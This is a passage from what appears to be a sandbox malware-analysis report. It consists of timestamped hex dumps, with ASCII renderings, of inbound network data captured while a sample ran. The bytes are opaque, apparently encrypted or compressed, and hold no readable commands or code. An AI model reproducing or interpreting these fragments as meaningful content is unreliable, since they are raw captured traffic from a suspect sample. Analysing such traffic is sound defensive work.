4d fe 81 e2 ea d7 f7 23 fd 4e 75 2b 56 97 48 c9 72 d0 4a 1f Data Ascii: BjhI.u,HF3snF5[81aB8tJsvT5 VX?=<!1N/73BWtl&x=G<IX3ip"3xnI5^ARYH2yN,3tGl9$1+Ig\{+OLw@ %M#Nu+VHrJ

2022-01-15 19:23:33 UTC 7791 IN Data Raw: ad 10 9c 77 15 c9 ea 95 99 0c bd 84 ed 55 b9 fa b8 1f a5 0d 34 0a 95 ca 70 df 53 8d 88 e9 d2 05 39 07 47 ce 6d d1 c6 2b 80 5e 4c 6c af 3f 11 70 b1 78 48 bd 14 c8 9c c1 0b ac ab b3 25 e7 35 4b 11 92 f5 e7 92 99 2a 75 bc a1 32 20 a4 5a e0 18 41 78 25 57 bf 12 90 2a 0c b0 24 ec 0a 20 9a e2 13 b8 34 55 47 34 62 4f b9 22 6f dc 6d b7 75 07 8f d3 01 3e e8 7d 0a 5a 86 95 34 b8 3d f8 c9 f7 7b 08 54 41 ac 9b 9f 26 2b 95 d5 7c cb a6 bd ca cd de 34 7b ea 25 07 69 34 00 42 2a 39 0a 8d 1c 23 75 c5 43 d9 0f ff 57 be 7d c0 cd 3f e2 95 32 31 2f e4 03 9c e7 be 86 e7 04 b9 2a 4f 90 62 6d f6 74 8a 2f 58 ca e4 4e 4a f6 1c bc 17 78 c3 8c d1 84 55 6f 84 52 1d 9a 52 4d 30 c4 b8 07 72 46 b8 f4 a7 b5 40 82 9d 03 f3 f5 cd c6 ac d8d8 5e fa fa e7 79 e1 79 8d 86 93 19 eb 42 59 81 31 Data Ascii: wU4pS9Gm+^Ll?pxH%5K*u2 ZAx%W*$ 4UG4bO"omu>}Z4={TA&+|4{%i4B*9#uCW}?21/*Obmt/XNJxUoRRM0rF@^yyBY1

2022-01-15 19:23:33 UTC 7807 IN Data Raw: d2 82 3e 8c 1a 96 6f f5 76 9e 57 9a a7 24 6f de ca f6 99 4d 31 97 e1 1e a9 44 f2 a3 f2 9e f6 6b ba 5d bc fa af 48 b5 2b b1 84 61 7e 40 5c b4 3f c9 4f 72 e5 af f3 87 c0 4c cd 2a 96 c7 b2 ec db 33 04 5f fe fe e0 7f 4d c6 a5 76 51 5c 8a 00 7a 37 a0 b4 e0 53 0e c5 16 1b 92 43 90 a7 eb 6a 07 d9 a0 9d a1 2d e2 df cc 96 0c 1c 27 3a 0f b4 9d c6 f0 85 5c ea 28 aa 96 15 a6 6d dd e6 de 9f 05 63 84 96 3c 81 f9 f6 d1 85 8a 2e 85 47 fe 01 1a 8c e7 5a 90 c5 36 ab b7 38 2c 1a 1e 52 06 4d f3 af 99 3e 65 cf 83 81 bb 70 ab 05 52 19 2f 65 39 6e 6a b6 be b6 92 51 47 a8 93 98 11 4a 98 59 8c 34 cd 82 51 52 79 4e 28 67 5d 12 6f 4f 61 b1 11 0b 1c ea 1b 00 8b 6c 95 0a 4c 33 e3 0d 92 71 4d 84 f4 ff 0b 99 91 bb 64 f5 c3 b1 3d 48 d3 bc dc d1 bc ae 20 4d d8 7f 5b 6b f1 9a f3 b1 45 c0 Data Ascii: >ovW$oM1Dk]H+a~@\?OrL*3_MvQ\z7SCj-':\(mc<.GZ68,RM>epR/e9njQGJY4QRyN(g]oOalL3qMd=H M[kE

2022-01-15 19:23:33 UTC 7823 IN Data Raw: a6 b0 d7 68 76 e6 ab 0f db 48 35 3e c7 8d 72 d4 be 4a 24 11 b8 60 14 2d d9 ef 41 9c fa 44 4e e2 f4 9f 95 d3 21 ab 50 8d 42 44 54 66 16 66 34 86 50 4d cb d3 fc 87 56 64 c3 c9 3b 91 56 9f 0a dd 07 4b c2 f3 04 64 15 42 63 e0 05 01 99 04 95 7f e9 b2 20 c2 d3 9e 9d b1 a9 04 b1 4b 56 b0 8d 40 44 5c 70 87 6f 93 68 b4 23 41 f6 92 74 01 7f 48 8b ed 12 f4 de 4b 7e 06 06 9f 86 c6 87 55 9d 8d fa bb b4 3f bd f7 ee 51 50 61 7d 17 c7 fe dd d6 fb a5 09 c4 7f ee b9 03 97 1c 54 a2 28 59 41 c7 10 96 35 03 ba 36 42 ea a3 26 83 fe e7 0c 62 4b 7a e2 7d 8b d6 02 39 09 80 85 e7 f8 9f f1 63 89 93 2b 79 ac 8b 75 e3 e1 05 16 7d 27 d3 d1 3b 42 0a 6e 8f f9 ea b2 69 44 d1 33 88 1d 67 fd ef c7 d5 fc 3d ca 22 d3 ce 7b d6 e6 52 62 3b 00 36 89 30 8e 9a 84 4e 05 94 ec 28 6b bf 1f 8e 21 6e Data Ascii: hvH5>rJ$`-ADN!PBDTff4PMVd;VKdBc KV@D\poh#AtHK~U?QPa}T(YA56B&bKz}9c+yu}';BniD3g="{Rb;60N(k!n

2022-01-15 19:23:33 UTC 7839 IN Data Raw: 15 7b 4b da e4 2a 8e a6 58 ae 73 33 67 bb 69 4d 0b e5 74 40 32 4e d1 08 72 61 fd 51 a4 84 ed 18 6f 77 8d 5c 3d c1 e1 fb 23 47 b4 9b a9 ea bf 0b 29 35 d2 d1 f2 0e 9c 34 60 c1 2e de d0 c7 44 64 11 84 fc 4a 6f e6 36 6c 67 05 5d 3f 969a a0 ee b5 8e 4f de 48 df 71 5d da 75 a9 ac 66 ed 56 4d 77 f1 4b 85 45 ea dd f9 e4 cc cb 42 ba 2b f4 78 27 94 f3 a6 dd 75 d4 0e d8 60 11 1d 69 92 79 09 72 04 69 b4 93 39 c1 ae 2c 44 f9 14 79 9b 87 fe 71 b2 f3 5d 85 95 74 0b d4 d7 ff 0d 31 95 ee 57 65 34 da 8d f8 2d 0d 9d 9b f5 24 07 d9 ff 5a 84 3b 32 64 06 f0 9f 6d 01 5b 61 14 3a 56 36 27 21 40 f7 98 86 f5 1f 55 3d ab e6 a7 fa e0 84 fd 86 f0 e6 60 42 ba 78 fc e8 a5 b5 3c 84 0d 57 e9 a7 0b a7 f5 67 55 07 ed 5d 6e 3a 78 79 1f 40 97 cd 95 bd 25 9c ac c1 bb 97 d1 e6 2f e0 17 50 b4 Data Ascii: {K*Xs3giMt@2NraQow\=#G)54`.DdJo6lg]?OHq]ufVMwKEB+x'u`iyri9,Dyq]t1We4-$Z;2dm[a:V6'!@U=`Bx<WgU]n:xy@%/P

2022-01-15 19:23:33 UTC 7855 IN Data Raw: 15 55 7c 5b a0 72 7d 93 b2 92 79 39 ad 5c 7b ff 5c 58 b0 c8 25 01 03 88 95 79 21 53 94 00 7e f6 29 9c bf ef 0c f9 5c 33 da 89 8b 0a d7 28 8b 8c 4d be 57 7f 5a ba b3 0f c0 3e bf 2b b1 1d e9 43 1d e1 33 32 24 93 cd aa 44 cc 3c ee be f5 84 e8 27 70 af 73 4d 9f b6 94 1b e4 19 ef 3c 04 0b bf d3 f2 5c 9c d0 4b 81 67 2b 01 83 f6 d7 f4 69 80 34 ee 30 5f 12 a1 9c f2 7b 86 e9 09 47 89 5e 8f b9 76 ae 03 bd af 55 d3 fe 43 ef 1d a7 1e 4e 1d 88 b3 2a 52 7a a9 ac ca 1e 50 2a 4d 51 c1 3f 64 60 db 46 75 89 15 02 9c 3d 43 75 04 30 06 17 6d fe 29 43 37 c2 e2 61 63 4e 6a 37 73 49 65 a4 70 1c 7a 8f f7 66 0e 79 fd c5 a5 a9 6c 1f 08 77 60 e6 a1 4a a2 5a 75 e8 97 80 31 5c b5 10 c3 1d 48 0d b0 16 d3 48 2e 98 06 ed 98 a5 50 6a 94 59 8c 88 08 f3 56 83 f2 c2 af f3 4b ae 03 eb 23 7d Data Ascii: U|[r}y9\{\X%y!S~)\3(MWZ>+C32$D<'psM<\Kg+i40_{G^vUCN*RzP*MQ?d`Fu=Cu0m)C7acNj7sIepzfylw`JZu1\HH.PjYVK#}

2022-01-15 19:23:33 UTC 7871 IN Data Raw: 06 eb 7e 88 79 f5 8c d5 49 94 2e bc 52 af f4 fb 05 b2 8e a3 c2 56 69 96 60 07 76 8c fe 6f e7 9f 8b 3f 94 67 b4 d7 4f ba d6 8a 0d 7c 61 6d 3d 38 72 4c ad ab 10 b8 0d 1b d1 16 9c 6f 9c c7 a7 dc 41 49 4a 7e 8f d6 63 03 bf 3d 1d bf b1 c3 49 9f 36 68 bc 97 34 d5 cb c9 25 99 5f 9b e4 12 d2 41 c0 72 f8 36 c4 02 f7 e3 f4 36 7e 3c 65 6b b2 2f c1 c9 e7 fd 97 f5 af 47 c8 83 d9 f1 98 1a 09 c3 fd 8b 26 a2 4c 5b 71 9b ec 89 e0 74 b1 1c e6 f9 31 c7 c8 52 38 a5 e8 61 29 82 72 48 ad 8c bf 16 28 83 f6 53 6b 2d d9 07 5d 9c 21 68 38 a0 ef 27 62 2b 65 5f eb 2e ec 7f ba 91 10 69 ca 6c 98 30 2c 90 d1 1e af 55 e814 69 8a 39 ec c5 36 08 2c b4 2f 9e 70 17 01 d7 c7 2c 67 0e 0d 04 76 7b 37 ce 16 94 26 3c 5f 19 2e 2a 4d 4b 6a 2a 9e 60 e1 cb 94 c1 ce 7b 06 ca b0 66 5f 2b 5e c0 f1 6b Data Ascii: ~yI.RVi`vo?gO|am=8rLoAIJ~c=I6h4%_Ar66~<ek/G&L[qt1R8a)rH(Sk-]!h8'b+e_.il0,Ui96,/p,gv{7&<_.*MKj*`{f_+^k

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 82 of 103

2022-01-15 19:23:33 UTC 7887 IN Data Raw: d3 45 8c a3 1a 0d df 6d 49 e6 e1 13 54 81 aa 99 20 83 7b e7 2d 06 6f fb 8c c7 89 19 04 e8 b5 71 dd 52 9a 29 1e ba 42 38 88 7f 64 38 0d 87 c7 8d e1 16 5d 54 b2 0f 84 5d a6 e5 bf 08 fb a4 62 a4 df 7e 99 80 d0 0f bc b0 2d d5 ff 5b dd c2 a9 58 1d 7e df c2 e3 92 ec b6 7a 46 2d 53 de cf 1f 3b 4f a3 d3 46 5d 73 db 21 28 82 84 1a c9 26 bd 4d 82 ca 4b 04 de ac 08 61 32 9c 83 23 9c b7 b2 25 f2 97 4f 1b 86 69 6d 21 69 77 8e f3 a8 70 04 f6 7a 3a ab 09 79 4d 09 58 17 f1 ab 50 ab 25 04 e6 83 ff 04 be 2a 15 46 af c2 f1 4f 13 e0 bf 7e 48 3e f5 a7 79 c7 de db d1 09 49 b1 f6 38 51 a0 6c 45 25 59 a4 da 77 b2 21 85 e5 cb 0a fd 0f 52 ff 52 8a 8f 35 e8 b8 ae a0 60 e3 9c 1e 62 95 44 85 f8 44 4c f7 28 b3 d2 7b 99 07 b3 13 fb c1 72 ee 60 57 7d 9f 2d 24 d7 b8 e1 c0 4a d4 63 69 ee Data Ascii: EmIT {-oqR)B8d8]T]b~-[X~zF-S;OF]s!(&MKa2#%Oim!iwpz:yMXP%*FO~H>yI8QlE%Yw!RR5`bDDL({r`W}-$Jci

2022-01-15 19:23:33 UTC 7903 IN Data Raw: d0 de 2f 08 0b d0 a4 a5 57 58 b1 e3 3d 40 36 0c d1 81 a0 e2 0b 3f eb 8c 02 2e ac 1f 50 75 06 be 84 07 3e ee 1e 87 df 7b 77 3b 12 db 28 88 42 cc 5a 59 7e dc d5 24 b6 5d 03 7c d5 9e 08 f2 7c 8b 2a f2 77 bf ec b7 0c ed ca 24 e2 64 59 27 08 ae 4b 9c 95 61 3f 58 4a 1d 34 5a e9 16 88 32 3b 40 77 97 6a a7 58 8f 7d 9a 39 fa e6 2d 87 4e e7 ff 2d 80 b0 32 90 2e e5 76 2e 4f 75 2d 92 06 63 19 b8 e0 48 11 9d 6e 62 fd b5 a9 ac 07 c9 a8 08 03 86 fc 8a a4 2d ff 98 81 c1 81 b7 88 04 ca 9b ba de c9 e8 1e f8 be 4f 98 f5 2f f8 94 68 61 53 d0 73 37 85 7a ea 80 79 11 f2 a0 43 37 ef 7a 19 62 65 51 0e 49 22 28 1f 8d 24 8a d5 0e 38 59 89 e8 2a 75 2a f1 30 c7 ad 5d 6e fb 90 87 3d e3 74 b3 02 47 cb f8 a9 b4 7a 7e ab c4 51 97 d0 42 da dc 74 4e 09 eb d5 57 51 24 fd 51 18 0e f9 3b 93 Data Ascii: /WX=@6?.Pu>{w;(BZY~$]||*w$dY'Ka?XJ4Z2;@wjX}9-N-2.v.Ou-cHnb-O/haSs7zyC7zbeQI"($8Y*u*0]n=tGz~QBtNWQ$Q;

2022-01-15 19:23:33 UTC 7919 IN Data Raw: 6f 8b 13 d9 c9 66 ea 34 ed 81 96 58 c8 c8 7c 4f 3e f7 4c 19 df 6a f4 5b a4 3d 66 42 6a 1d b7 5b ad 18 25 53 f8 75 a9 18 81 d9 21 57 45 97 86 de 09 1f a5 ce ef de 56 4a db 41 54 28 94 ee e2 32 da 97 a5 56 13 f4 35 37 f0 c2 9f 7b 17 92 ec d0 09 06 7d 23 bf ce c8 3e ce bd 92 05 92 45 18 5d ee 54 e7 d9 31 82 4c b3 b5 2c 65 3c 03 3c c6 20 de 93 7e 03 b1 19 0e 8b 2f 07 fe e0 b4 85 a7 b1 63 8f 77 12 2f 36 75 02 2f d5 ac 56 90 09 92 f3 e9 89 fc 03 b4 d6 c6 82 e6 e4 39 64 82 cc be ff 09 d7 2d 04 0b 9a 4d f6 7c eb 37 c7 9c 0b 78 88 2f 16 43 5b 95 8a 6f e2 31 1a e3 51 a3 62 15 19 f2 e4 f7 cc f0 eb 39 12 0c b0 0c f1 fd 81 b8 f3 9e 19 8c c3 41 03 18 73 f2 73 f6 a7 ff 2e 43 27 13 5d ea a1 eb 72 e1 b3 51 a1 5f 94 79 8a 38 e0 03 6d 7c 72 de 2e 34 ef fe 8e db 4f 1f ad 51 Data Ascii: of4X|O>Lj[=fBj[%Su!WEVJAT(2V57{}#>E]T1L,e<< ~/cw/6u/V9d-M|7x/C[o1Qb9Ass.C']rQ_y8m|r.4OQ

2022-01-15 19:23:33 UTC 7935 IN Data Raw: bb 03 f9 2b 59 d4 85 41 ea 04 67 ca 8a e8 b0 77 8f 7d b8 07 f7 9f ed 49 8b ab d7 e8 da e5 3b c8 f0 77 42 5f fa d0 f3 2e 30 92 dc 3c 35 b8 80 de 2a 17 46 be e0 bd 44 66 d9 ba c3 80 62 04 92 c7 4e 3e be 31 a8 fb bc 84 f7 c0 39 00 19 3e 77 a7 17 0b b9 9f 3f c0 04 20 0a 35 99 50 b8 65 71 23 f7 fe 26 db a2 17 8d 52 79 7b 53 4c be 56 2b 0e 62 97 45 78 dc 6b 5c 6b 07 69 ca 82 69 f3 12 86 f0 cc b2 89 2d 90 87 66 5a f1 c1 7a 17 9c 49 ec b9 32 9e 48 a9 e2 3e 68 10 ac 40 28 e0 3c ee 0c 64 f9 ba cc d9 d1 01 a6 59 2d d8 21 fc 03 ea 1b 68 f1 01 db fb d4 fb 16 26 e0 5f 3c f8 7f a7 e9 d9 ca a2 46 4a ba 78 6d 08 9d 42 cb a4 99 fc 33 1a 5d 57 bc a7 31 1d 55 20 6a 59 7f a7 57 f1 f4 05 0e 95 fd 16 d3 fc 2c d9 4e 32 f0 55 d1 91 ae 14 d0 95 e7 14 89 ed 72 00 e1 67 b3 6e 64 4b Data Ascii: +YAgw}I;wB_.0<5*FDfbN>19>w? 5Peq#&Ry{SLV+bExk\kii-fZzI2H>h@(<dY-!h&_<FJxmB3]W1U jYW,N2UrgndK

2022-01-15 19:23:33 UTC 7951 IN Data Raw: 73 8c 62 b4 0e 3b bf 9e 41 e4 ea 66 00 54 94 9a 2b c6 6a fe a4 9f 1d f0 b4 65 ae 74 57 c4 e9 bf 95 92 b9 57 67 ae 30 3f 13 2e 9c a7 f6 5e fd 37 d0 de 32 06 55 07 5b f6 0c fb f4 15 70 7f 23 05 f8 0d c3 d0 fa 03 21 8e 32 f6 73 71 63 5c 2cca 16 c9 5b e8 d3 dd eb 1a e3 f4 53 d9 4c 1c 43 36 78 90 a0 7b bc cb 97 9b 9d 6b 87 94 26 05 9d 08 44 e0 6f ed e7 a3 1d 46 89 43 0f 9a f3 94 30 f2 e7 8e c9 26 2f 95 f9 2d fb 0f 8d cd c4 3b 08 ea 22 78 6b b5 78 10 02 25 36 39 b8 06 14 a5 55 f6 a5 c2 79 0f 60 82 eb d9 0b 68 f3 d3 a8 1f bc b0 3d 7b 34 8c c7 ec 7c 1a 64 cf 9f 57 0a d6 37 5c c7 f5 d4 cc 49 80 5c 26 b0 84 cf 3b 07 c4 d8 77 ed 0f 5a 78 47 d7 b2 f7 b5 5a d5 36 f1 93 42 14 cf 50 76 98 91 4e 48 af a9 a9 b6 ab 18 bb 6a 07 53 f1 a5 4b 76 b9 2a 95 57 63 7f 1c d0 89 f5 Data Ascii: sb;AfT+jetWWg0?.^72U[p#!2sqc\,[SLC6x{k&DoFC0&/-;"xkx%69Uy`h={4|dW7\I\&;wZxGZ6BPvNHjSKv*Wc

2022-01-15 19:23:33 UTC 7967 IN Data Raw: 06 f4 73 b9 7e 25 98 5b 60 1e 73 98 ff 2e 7a cd 4e a7 45 d2 65 6c fd 0c 9a 78 4c 3d ad ca b8 38 a2 3c 51 5b a5 7a 0e e2 be 46 4e 59 ff cc b4 ce 97 ed 62 55 82 41 b0 31 68 7f 6f 6a c8 9c 5e a0 55 a5 7d 56 b5 09 fc 1b 02 cc b0 7c 09 20 5a fa 3a 97 ea 68 96 ce 0e f8 0f 16 d5 a1 65 ce 91 c4 14 9a df 0e e9 27 c2 d1 cb d9 2b 8d ac 58 13 c4 c1 94 2a 59 84 7d f3 fd db f4 aa bb 0a 66 45 45 2c ea e5 57 31 e2 9d de c5 56 cc f7 81 ff 31 50 3d 7a 01 0c 2d 4b c9 3f d0 b6 8a 68 8a 73 20 f7 3b 44 7d c4 78 52 e3 8e 64 2d c7 fe 55 05 18 08 ef 8f dc a6 f4 35 35 f6 07 a1 be 9d 28 0d b3 fc 5d 9a 67 b8 c5 4a 26 f9 36 e1 b6 d3 a4 77 06 68 a1 6b 39 4a 92 63 37 68 b0 06 f6 d5 e6 e0 92 5b 20 22 95 3b ad 51 c1 93 72 b6 49 91 1a e2 9d e5 d4 33 75 4e c7 b3 22 70 e6 8a bd da 6b 45 57 Data Ascii: s~%[`s.zNEelxL=8<Q[zFNYbUA1hoj^U}V| Z:he'+X*Y}fEE,W1V1P=z-K?hs ;D}xRd-U55(]gJ&6whk9Jc7h[ ";QrI3uN"pkEW

2022-01-15 19:23:33 UTC 7975 IN Data Raw: 1a f0 e6 7d f8 5a c0 6b 6c c9 7c 50 3c fb 03 36 c1 e8 eb 55 cf f5 09 fa 2c 5c 13 85 c9 f3 4b 37 71 b0 6e 75 b4 02 b0 27 d1 d7 a0 b5 95 77 8c 07 4c f8 d2 73 d2 f0 ad 7d 44 f1 e6 f7 96 a7 44 b4 91 d4 6a dc 06 e3 db 8e 49 a0 63 1a 3f 44 fd 07 c1 ee 0b 8f 76 79 25 34 d8 86 ac 63 01 8f 05 44 e6 20 c0 09 02 48 0a d9 66 78 d8 c7 d9 14 17 c0 9c 0f cd 80 bc d4 7d dc b5 fe 96 74 08 2e af 79 2d 5f 10 8e 7c e0 5d 2e 87 77 45 d0 cb a0 f8 d9 2a c4 9b b4 ac d4 6b 32 31 17 60 fd fa e06d e7 33 a9 53 25 28 9a fb f9 a0 77 e2 22 09 65 7b bc 30 04 8f f7 0d af 00 5b 4a 5e 85 8d de 0e 8f 3a 6e 1c ac a3 71 21 b7 8f 7a 3c 9d 55 6a d1 96 32 e2 79 79 b1 3a 90 ba 53 7c e0 4c 4d 1f d7 71 97 fe 06 2a 50 68 74 d4 10 c5 fb 15 30 f7 18 93 f3 09 8e 37 c4 3d 17 05 6d 68 29 a3 9f 93 f4 bd Data Ascii: }Zkl|P<6U,\K7qnu'wLs}DDjIc?Dvy%4cD Hfx}t.y-_|].wE*k21`m3S%(w"e{0[J^:nq!z<Uj2yy:S|LMq*Pht07=mh)

2022-01-15 19:23:33 UTC 7991 IN Data Raw: f5 62 94 83 5a 91 af f0 11 38 9d 4b b3 b0 ad 5c 8e ff a8 94 c0 41 19 54 81 4f 3f b4 c2 39 6a df 4c e2 e8 28 af a4f7 24 cd 48 a1 13 09 eb 64 a8 3a 08 c7 75 93 4f 52 0e d0 4c 96 3e e9 05 9a 5b 88 c0 a4 1f 1f 7a be e8 19 8a 6d a1 83 5c e2 67 b2 00 e9 f3 41 68 4b 30 dc 4b 90 5c ae 19 31 ce 62 e7 59 6e 25 05 1c cd 0d 3a d7 25 2f 3b 75 5d 87 e2 99 4d d2 51 f7 21 2f 01 45 37 dc ae 88 00 78 f7 28 45 5f c1 98 2b c6 19 48 2a f3 69 30 93 4c 96 85 aa a8 9d 33 8e be 44 bf d3 41 45 af 1c 09 d8 b6 f4 53 24 6a 26 59 dc e3 57 0b dc 98 fc e6 b6 f9 92 9b 59 ad 6a c0 40 7b 66 31 34 91 e6 1c 30 f7 5f 45 4b c2 4b a3 8c 41 45 96 78 f3 07 2e 2f 51 a3 f0 39 6b 65 8e ca 38 67 6a 69 e4 46 94 de 1c 48 2d d6 7f e6 55 4a 96 fe d2 4c 6b f56f cd 96 f1 0a e7 ed 9b 25 8f ac a2 09 e8 0d Data Ascii: bZ8K\ATO?9jL($Hd:uORL>[zm\gAhK0K\1bYn%:%/;u]MQ!/E7x(E_+H*i0L3DAES$j&YWYj@{f140_EKKAEx./Q9ke8gjiFH-UJLko%

2022-01-15 19:23:33 UTC 8007 IN Data Raw: fd 9f 7c c7 88 8f de 9d 01 4e cd db e2 ca 9f 81 18 64 b7 64 fe 54 8d 86 f2 29 98 2d be fb f4 8e 4c 0f e6 50 01 57 19 e1 8d 0e 7f 59 d6 bc b8 cd d2 a1 05 27 87 92 11 b3 68 2f 75 00 2d 23 d8 12 6e 52 fb 98 1e 06 c4 52 61 05 4c 95 16 2d 6d 91 91 28 b9 11 6a 59 ab 2c 73 2c 38 6b 77 6b 20 be 56 09 8b 1a 2b fd 84 f5 82 e4 d3 38 3c fe f6 a5 c3 31 04 ee 8a d1 60 4a 79 2f a8 3d ab 87 81 3f c9 4e 7b 09 79 bc a1 af 8c c5 80 83 30 f5 3d ee 82 4e 8d fd 25 74 c8 bb 6a 8e ad be b8 ca 09 00 83 00 18 d3 95 9b 3d 39 2b 13 dc 37 99 b2 67 40 a0 25 36 a3 83 a9 c0 9a f6 c8 34 10 df 86 4e b1 29 22 39 da 76 27 a4 09 79 68 3f 3a 30 47 2f a4 7a 81 95 5a 56 59 3e 24 5d 8f 4e 07 04 6e 41 b0 5a 40 b9 2d 6e 33 64 33 98 4d 8d bb 2c 63 76 40 96 11 f7 ee 8a 48 68 7f c0 e2 cf d0 09 24 be Data Ascii: |NddT)-LPWY'h/u-#nRRaL-m(jY,s,8kwk V+8<1`Jy/=?N{y0=N%tj=9+7g@%64N)"9v'yh?:0G/zZVY>$]NnAZ@-n3d3M,cv@Hh$

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 83 of 103

2022-01-15 19:23:33 UTC 8023 IN Data Raw: 00 67 ae 23 3b 3c 9d 95 8c f8 da ff a1 dd b6 cc 09 b3 f6 54 f1 aa 06 47 31 4f 6f 3f 17 4f a2 fd b0 f9 e3 ab f4 d9 5f b2 1a 5d c8 47 3d 10 36 3c 1c 0e a2 5e 0b 94 21 bf e6 41 e0 80 d9 c3 d4 9c 62 0d 54 83 ab 3f 89 63 93 03 1e 51 1d 05 09 f7 e4 e2 d9 fa c6 dd 85 4c 33 8e 0e 86 f8 44 76 76 a5 9b dc 30 a9 87 b3 ad 57 cc d2 d5 6e 8a d6 64 76 14 0a 8e e7 1f e3 42 0b 07 ba a9 48 d9 f7 e8 b1 cc c7 b0 e1 47 98 a9 96 83 31 05 72 2e b7 18 e9 8e bc b0 3d 27 ab f9 ce b8 f3 c1 b8 61 af d9 d9 eb 56 7c dd 32 35 39 9c 61 e9 ce b8 05 a5 4a da 6b 83 0f e8 58 e7 c4 88 87 45 5d cf bb 00 c1 bf 40 65 07 e1 09 38 cc ba ff 5e 13 76 7e 2f 75 dd dd be 79 bc 72 5e 14 c1 59 ee 66 de a4 c4 42 69 7a 77 50 2a e5 ee 81 fd ee 4b ca 76 7a 20 6a 02 6e 95 6c b2 54 48 b7 ab f7 67 e8 c5 df 2a Data Ascii: g#;<TG1Oo?O_]G=6<^!AbT?cQL3Dvv0WndvBHG1r.='aV|259aJkXE]@e8^v~/uyr^YfBizwP*Kvz jnlTHg*

2022-01-15 19:23:33 UTC 8039 IN Data Raw: d0 bd f6 f7 1f fe ce ce db 9f a0 1b be 74 7e 26 3b 59 f9 10 ba d6 f8 d8 98 62 8a 53 65 45 ff a4 9f a4 40 00 5a 44 e0 e2 ab 8e 43 7d f8 f1 e3 63 a5 b0 3c 42 d0 57 c8 20 3b 88 59 69 e8 00 4c 00 77 89 42 a6 fc e7 68 e7 db 46 b3 cd 4b d3 ac 07 f1 6c 30 94 1b b9 72 0c d1 6d 13 df f0 95 ec 5e ee de 5f 4f 39 e8 c2 e5 96 a3 4d 88 8a 78 e3 0d 92 f5 1c 98 3c fc f6 86 8f db b3 07 eb 94 85 e7 b2 31 3d f2 f0 3b ee b9 01 dd 4c 33 d4 0d 6d fc 11 a9 34 90 f6 f8 72 b6 b2 ba f3 fe e0 e8 b9 d2 33 24 3d fe a2 cd 9d 8d f8 aa fc 66 fb 9a 0a fc 03 67 5f 07 74 c1 f0 7f 20 c5 b0 3d 0f 2c 81 a3 2b aa 7a 95 b2 3c b1 fa e8 59 e3 f4 a8 f3 22 f0 ce 7f 2a 88 63 2f 69 a7 d3 d9 b2 ed 3b 06 40 73 c7 48 07 ee da 41 a5 5c 87 6c b6 9a b1 68 92 d9 0f c9 a5 81 a6 01 e9 2f 36 06 02 b4 3c 04 fa Data Ascii: t~&;YbSeE@ZDC}c<BW ;YiLwBhFKl0rm^_O9Mx<1=;L3m4r3$=fg_t =,+z<Y"*c/i;@sHA\lh/6<

2022-01-15 19:23:33 UTC 8055 IN Data Raw: 0f 6f ca cb f9 30 3f f0 6d 81 15 63 1f 86 d1 17 da bc ae 76 e1 8f b6 db 0a 83 e9 16 f8 f4 c1 57 b9 2d b9 c3 bb 7120 bc c3 77 e6 56 1e 86 2a 16 f8 60 25 21 70 50 c6 6b 8e d5 d8 5b d2 27 e2 53 c0 e5 19 99 2b 25 a7 42 7a af a2 01 33 6b 68 ab 65 2b 76 c5 42 8b 5b 3d 5e 18 24 5a 10 eb 4b 73 5f 56 f1 12 86 40 88 c2 9e f7 53 8c b1 c2 91 f8 7c ac ed c1 5e 49 ac 31 37 f3 f3 e5 ab 17 1f d1 2e a8 51 b0 8c 13 43 81 ac ea 4d f2 31 8f 18 f6 f0 b3 52 f5 ae e5 37 8b 83 53 b0 43 d8 25 8f 71 29 53 65 d9 f6 9f e3 c3 1c 98 13 ae 84 d9 6e fb 1a 53 60 4c f9 3b 89 86 6b 0b 8f 0b 2a 0c b8 ed 8c f6 ab ff 3b b8 15 e8 25 43 e7 54 f4 fc 26 4c e6 97 2a c4 0b e7 6b 99 ce d1 d2 d4 5b 7f a7 39 47 ad 2d e3 e7 c7 e9 8b 1c 76 2a 05 0c 19 46 d6 1c fc b2 dc da 4d 1f a9 e5 64 56 21 5e 5b f1 Data Ascii: o0?mcvW-q wV*`%!pPk['S+%Bz3khe+vB[=^$ZKs_V@S|^I17.QCM1R7SC%q)SenS`L;k*;%CT&L*k[9G-v*FMdV!^[

2022-01-15 19:23:33 UTC 8071 IN Data Raw: 50 4b 11 1f 3b b4 6e 61 ea 5a 27 9c d2 23 c2 10 b0 04 d5 e7 2e d9 f3 e8 1c da e6 4c 27 6e 7e 3e f6 05 b7 2a 50 b8 06 1b 59 7b d4 ac f0 04 38 0e ad 27 02 39 50 b3 0e 18 c1 44 2e e8 70 07 cd 34 d0 b8 b7 6d 89 1d 9c df 2d b4 a4 83 46 e5 f4 bb 99 6f 3a 0c 51 9e 53 29 ac fd f6 e9 01 5a 15 0b 2c 61 cd 64 c2 da 7e 04 7d e4 e5 6c 78 45 56 b8 5b c0 e9 90 e1 ad e5 6c 29 98 1f 01 39 68 39 f5 3e dd fb 97 a8 89 f2 ac a9 8b fc 07 03 21 31 2c 47 45 87 9f b9 14 43 7e 6f fa 91 64 ee de a2 c3 a3 c5 13 45 42 fa da 01 58 a5 b3 ec 15 f9 16 22 06 29 8b 19 00 d8 3e b6 d2 37 3a cc c2 76 9b 16 39 6c 03 91 47 13 ff b1 fc 63 d5 5a 12 d9 bd c8 08 cb e1 af de d6 bd e8 17 47 8f 7b 8c 1f cb 94 97 49 a4 0c ac 9a 04 85 ef b1 42 6f 16 be b9 68 2d de a8 8c a7 39 67 60 4f c5 9c 39 72 28 c8 Data Ascii: PK;naZ'#.L'n~>*PY{8'9PD.p4m-Fo:QS)Z,ad~}lxEV[l)9h9>!1,GEC~odEBX")>7:v9lGcZG{IBoh-9g`O9r(

2022-01-15 19:23:33 UTC 8087 IN Data Raw: f8 ce e3 b5 09 03 58 10 a3 45 d7 da b6 7d 87 27 55 da bd 6f 3c ac cd 5a 74 d3 d3 49 90 cf d8 5b 2c 02 7f 1c d8 63 44 51 38 e0 d8 6e 20 6b 79 ac 50 93 f1 1b 38 80 c0 8d f5 0e 0f 28 37 5d 06 7b 9e a5 20 b5 8d 7b e3 27 50 fa a6 0c 21 04 38 4d c9 b3 bd 8e 5d 97 92 ec 4f 73 e4 19 7d ad 87 15 b8 74 a1 b9 d7 e6 43 89 3a 9e 74 d5 71 0e cd ed 39 cd 50 39 60 df 60 0c fc ac c2 37 27 b8 b3 64 6e f5 af 24 d4 29 99 18 cf c0 a8 27 28 45 c1 45 ca d7 0e 5c b0 2a 0a 32 ac 6d 3d df d4 f1 cb 6b 83 a8 b7 fa ca ad 9b d5 60 af 7b 0c 67 3d 93 52 b0 ae f4 da 32 